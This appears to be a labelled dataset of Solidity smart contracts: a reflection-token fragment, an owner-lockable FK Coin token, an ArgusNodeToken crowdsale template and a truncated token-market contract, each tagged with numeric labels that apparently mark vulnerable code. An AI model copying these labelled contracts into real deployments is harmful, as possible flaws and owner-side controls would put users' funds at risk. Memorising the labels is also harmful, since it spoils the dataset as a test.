emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 rAmount, uint256 tAmount, uint256 tTransferAmount, uint256 rTransferAmount) private {
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
}
function setPairs(address[] memory _pairs) external onlyOwner() {
pairs = _pairs;
for (uint i = 0; i < pairs.length; i++) {
_excluded.push(pairs[i]);
}
}
function isDEXPair(address pair) private view returns (bool) {
for (uint i = 0; i < pairs.length; i++) {
if (pairs[i] == pair) return true;
}
return false;
}
function whaleSellMultiplicator(uint256 _saleOutputEstimate) private view returns (uint256) {
uint256 multiplicator = 10;
for (uint i = 0; i < _antiWhaleSellThresholds.length; i++) {
if (_saleOutputEstimate >= _antiWhaleSellThresholds[i]) {
if (_antiWhaleSellMultiplicators[i] > multiplicator) multiplicator = _antiWhaleSellMultiplicators[i];
}
}
return multiplicator;
}
} | 0 | 347 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
pragma solidity ^0.4.24;
contract Lockable is StandardToken, Ownable {
event Lock(address target);
event Unlock(address target);
mapping(address => bool) internal locks;
modifier whenNotLocked() {
require(!locks[msg.sender], "Sender account is locked.");
_;
}
function lock(address _target) public onlyOwner {
locks[_target] = true;
emit Lock(_target);
}
function unlock(address _target) public onlyOwner {
locks[_target] = false;
emit Unlock(_target);
}
function lockOf(address _target) public view returns (bool) {
return locks[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotLocked
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(!locks[_from], "From account is locked.");
return super.transferFrom(_from, _to, _value);
}
}
pragma solidity ^0.4.24;
contract FKCoin is Lockable {
string public constant name = "FK Coin";
string public constant symbol = "FK";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | 1 | 3,662 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Transfer(msg.sender, _to, _amount);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "ArgusNodeToken";
string constant TOKEN_SYMBOL = "ArNT";
bool constant PAUSED = false;
address constant TARGET_USER = 0x504FB379a29654A604FDe7B95972C74BFE07C118;
uint constant START_TIME = 1527818400;
bool constant CONTINUE_MINTING = false;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function validPurchase() internal view returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= cap;
return super.validPurchase() && withinCap;
}
function hasEnded() public view returns (bool) {
bool capReached = weiRaised >= cap;
return super.hasEnded() || capReached;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale {
function hasStarted() public constant returns (bool) {
return now >= startTime;
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
token.finishMinting();
}
token.transferOwnership(TARGET_USER);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
}
contract Checkable {
address private serviceAccount;
bool private triggered = false;
event Triggered(uint balance);
event Checked(bool isAccident);
function Checkable() public {
serviceAccount = msg.sender;
}
function changeServiceAccount(address _account) onlyService public {
assert(_account != 0);
serviceAccount = _account;
}
function isServiceAccount() view public returns (bool) {
return msg.sender == serviceAccount;
}
function check() onlyService notTriggered payable public {
if (internalCheck()) {
Triggered(this.balance);
triggered = true;
internalAction();
}
}
function internalCheck() internal returns (bool);
function internalAction() internal;
modifier onlyService {
require(msg.sender == serviceAccount);
_;
}
modifier notTriggered() {
require(!triggered);
_;
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 bonusRate = getBonusRate(weiAmount);
uint256 tokens = weiAmount.mul(bonusRate).div(1 ether);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate(uint256 weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[3] memory weiRaisedStartsBoundaries = [uint(0),uint(100000000000000000000),uint(250000000000000000000)];
uint[3] memory weiRaisedEndsBoundaries = [uint(100000000000000000000),uint(250000000000000000000),uint(450000000000000000000)];
uint64[3] memory timeStartsBoundaries = [uint64(1527818400),uint64(1527818400),uint64(1527818400)];
uint64[3] memory timeEndsBoundaries = [uint64(1536544795),uint64(1536544795),uint64(1536544795)];
uint[3] memory weiRaisedAndTimeRates = [uint(150),uint(100),uint(50)];
for (uint i = 0; i < 3; i++) {
bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]);
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
, CappedCrowdsale
, Checkable
{
event Initialized();
bool public initialized = false;
function TemplateCrowdsale(MintableToken _token) public
Crowdsale(START_TIME > now ? START_TIME : now, 1536544800, 1000 * TOKEN_DECIMAL_MULTIPLIER, 0x504FB379a29654A604FDe7B95972C74BFE07C118)
CappedCrowdsale(740000000000000000000)
{
token = _token;
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
address[1] memory addresses = [address(0x504fb379a29654a604fde7b95972c74bfe07c118)];
uint[1] memory amounts = [uint(460000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
MainToken(token).mint(addresses[i], amounts[i]);
} else {
MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
transferOwnership(TARGET_USER);
Initialized();
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function internalCheck() internal returns (bool) {
bool result = !isFinalized && hasEnded();
Checked(result);
return result;
}
function internalAction() internal {
finalization();
Finalized();
isFinalized = true;
}
} | 1 | 4,441 |
pragma solidity ^0.4.18;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract EventfulMarket {
event LogItemUpdate(uint id);
event LogTrade(uint pay_amt, address indexed pay_gem,
uint buy_amt, address indexed buy_gem);
event LogMake(
bytes32 indexed id,
bytes32 indexed pair,
address indexed maker,
ERC20 pay_gem,
ERC20 buy_gem,
uint128 pay_amt,
uint128 buy_amt,
uint64 timestamp
);
event LogBump(
bytes32 indexed id,
bytes32 indexed pair,
address indexed maker,
ERC20 pay_gem,
ERC20 buy_gem,
uint128 pay_amt,
uint128 buy_amt,
uint64 timestamp
);
event LogTake(
bytes32 id,
bytes32 indexed pair,
address indexed maker,
ERC20 pay_gem,
ERC20 buy_gem,
address indexed taker,
uint128 take_amt,
uint128 give_amt,
uint64 timestamp
);
event LogKill(
bytes32 indexed id,
bytes32 indexed pair,
address indexed maker,
ERC20 pay_gem,
ERC20 buy_gem,
uint128 pay_amt,
uint128 buy_amt,
uint64 timestamp
);
}
contract SimpleMarket is EventfulMarket, DSMath {
uint public last_offer_id;
mapping (uint => OfferInfo) public offers;
bool locked;
struct OfferInfo {
uint pay_amt;
ERC20 pay_gem;
uint buy_amt;
ERC20 buy_gem;
address owner;
uint64 timestamp;
}
modifier can_buy(uint id) {
require(isActive(id));
_;
}
modifier can_cancel(uint id) {
require(isActive(id));
require(getOwner(id) == msg.sender);
_;
}
modifier can_offer {
_;
}
modifier synchronized {
require(!locked);
locked = true;
_;
locked = false;
}
function isActive(uint id) public constant returns (bool active) {
return offers[id].timestamp > 0;
}
function getOwner(uint id) public constant returns (address owner) {
return offers[id].owner;
}
function getOffer(uint id) public constant returns (uint, ERC20, uint, ERC20) {
var offer = offers[id];
return (offer.pay_amt, offer.pay_gem,
offer.buy_amt, offer.buy_gem);
}
function bump(bytes32 id_)
public
can_buy(uint256(id_))
{
var id = uint256(id_);
LogBump(
id_,
keccak256(offers[id].pay_gem, offers[id].buy_gem),
offers[id].owner,
offers[id].pay_gem,
offers[id].buy_gem,
uint128(offers[id].pay_amt),
uint128(offers[id].buy_amt),
offers[id].timestamp
);
}
function buy(uint id, uint quantity)
public
can_buy(id)
synchronized
returns (bool)
{
OfferInfo memory offer = offers[id];
uint spend = mul(quantity, offer.buy_amt) / offer.pay_amt;
require(uint128(spend) == spend);
require(uint128(quantity) == quantity);
if (quantity == 0 || spend == 0 ||
quantity > offer.pay_amt || spend > offer.buy_amt)
{
return false;
}
offers[id].pay_amt = sub(offer.pay_amt, quantity);
offers[id].buy_amt = sub(offer.buy_amt, spend);
require( offer.buy_gem.transferFrom(msg.sender, offer.owner, spend) );
require( offer.pay_gem.transfer(msg.sender, quantity) );
LogItemUpdate(id);
LogTake(
bytes32(id),
keccak256(offer.pay_gem, offer.buy_gem),
offer.owner,
offer.pay_gem,
offer.buy_gem,
msg.sender,
uint128(quantity),
uint128(spend),
uint64(now)
);
LogTrade(quantity, offer.pay_gem, spend, offer.buy_gem);
if (offers[id].pay_amt == 0) {
delete offers[id];
}
return true;
}
function cancel(uint id)
public
can_cancel(id)
synchronized
returns (bool success)
{
OfferInfo memory offer = offers[id];
delete offers[id];
require( offer.pay_gem.transfer(offer.owner, offer.pay_amt) );
LogItemUpdate(id);
LogKill(
bytes32(id),
keccak256(offer.pay_gem, offer.buy_gem),
offer.owner,
offer.pay_gem,
offer.buy_gem,
uint128(offer.pay_amt),
uint128(offer.buy_amt),
uint64(now)
);
success = true;
}
function kill(bytes32 id)
public
{
require(cancel(uint256(id)));
}
function make(
ERC20 pay_gem,
ERC20 buy_gem,
uint128 pay_amt,
uint128 buy_amt
)
public
returns (bytes32 id)
{
return bytes32(offer(pay_amt, pay_gem, buy_amt, buy_gem));
}
function offer(uint pay_amt, ERC20 pay_gem, uint buy_amt, ERC20 buy_gem)
public
can_offer
synchronized
returns (uint id)
{
require(uint128(pay_amt) == pay_amt);
require(uint128(buy_amt) == buy_amt);
require(pay_amt > 0);
require(pay_gem != ERC20(0x0));
require(buy_amt > 0);
require(buy_gem != ERC20(0x0));
require(pay_gem != buy_gem);
OfferInfo memory info;
info.pay_amt = pay_amt;
info.pay_gem = pay_gem;
info.buy_amt = buy_amt;
info.buy_gem = buy_gem;
info.owner = msg.sender;
info.timestamp = uint64(now);
id = _next_id();
offers[id] = info;
require( pay_gem.transferFrom(msg.sender, this, pay_amt) );
LogItemUpdate(id);
LogMake(
bytes32(id),
keccak256(pay_gem, buy_gem),
msg.sender,
pay_gem,
buy_gem,
uint128(pay_amt),
uint128(buy_amt),
uint64(now)
);
}
function take(bytes32 id, uint128 maxTakeAmount)
public
{
require(buy(uint256(id), maxTakeAmount));
}
function _next_id()
internal
returns (uint)
{
last_offer_id++; return last_offer_id;
}
}
contract ExpiringMarket is DSAuth, SimpleMarket {
uint64 public close_time;
